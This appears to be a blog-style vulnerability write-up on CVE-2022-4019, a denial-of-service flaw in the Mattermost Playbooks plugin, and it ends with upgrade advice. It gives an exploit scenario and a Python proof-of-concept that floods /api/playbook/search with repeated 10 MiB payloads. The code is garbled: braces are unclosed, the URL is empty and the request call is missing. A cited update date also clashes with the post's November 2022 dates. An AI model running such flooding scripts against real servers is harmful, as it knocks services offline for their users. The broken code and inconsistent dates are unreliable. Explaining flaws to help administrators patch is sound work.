Summary: An authenticated user can crash the Mattermost server via multiple large requests to a Playbooks API endpoint, exploiting a denial-of-service (DoS) vulnerability in the Mattermost Playbooks plugin.


Mattermost is an open-source collaboration platform that offers secure messaging and file sharing for teams of all sizes. One of the plugins available for Mattermost is called Playbooks, which helps team members manage, track, and coordinate their tasks in real-time. Recently, a significant vulnerability was discovered in the Playbooks plugin (CVE-2022-4019) that can lead to a denial-of-service (DoS) attack, severely affecting the functionality of Mattermost.

This post will delve into the CVE-2022-4019 vulnerability, exploring how an attacker can exploit it and providing code snippets to demonstrate this process. Additionally, related resources and original references will be linked throughout.

Exploit Details

Vulnerable Versions: Mattermost Playbooks plugin prior to 5.5.1

An authenticated user can make large requests to one of the Playbooks API endpoints (such as /api/playbook/search). To cause a crash on the server, the attacker sends multiple requests to this endpoint with a large payload. By repeating this process, they can ultimately consume server resources and force the server to crash, resulting in denial-of-service for other users relying on the Mattermost server.

Here is an example of a possible exploit scenario

* Attacker logs into Mattermost
* Attacker sends a large POST request to /api/playbook/search with a huge payload (e.g., {"term": "<MULTIPLE_MEGABYTES_STRING>"})
* The attacker repeats this step multiple times
* Server crashes due to excessive resource consumption

Code Snippet

Below is a simple Python code snippet that demonstrates how an attacker might exploit the vulnerability:

import requests
import string
import random

# Replace with your Mattermost URL and your access token
url = '';
headers = {
    'Authorization': 'Bearer your-mattermost-access-token',
    'Content-Type': 'application/json'

# Generate a large random string -- about 10 MiB in size
large_string = ''.join(random.choices(string.ascii_letters, k=10 * 1024 * 1024))

payload = {
    'term': large_string

# Repeat the attack multiple times
for _ in range(10):
    response =, headers=headers, json=payload)

:warning: WARNING: DO NOT use this code snippet for malicious purposes. It is provided for educational and informational purposes only.

Original References and Additional Resources

1. Mattermost Security Update: 2022-01-26: Mattermost Security Updates
2. CVE-2022-4019 (Mitre): CVE-2022-4019 - CVE - (
3. Mattermost Playbooks Plugin Repository: GitHub - mattermost/mattermost-plugin-playbooks: Mattermost Playbooks


The CVE-2022-4019 vulnerability poses a significant risk to Mattermost server stability and user experience. Therefore, it is crucial to ensure that your system is up to date and adopts proper mitigation measures to address this denial-of-service exploit.

If you are using a vulnerable version of the Mattermost Playbooks plugin, it is highly recommended to upgrade to version 5.5.1 or later to protect your server from potential attackers seeking to exploit this vulnerability.


Published on: 11/23/2022 06:15:00 UTC
Last modified on: 11/26/2022 03:36:00 UTC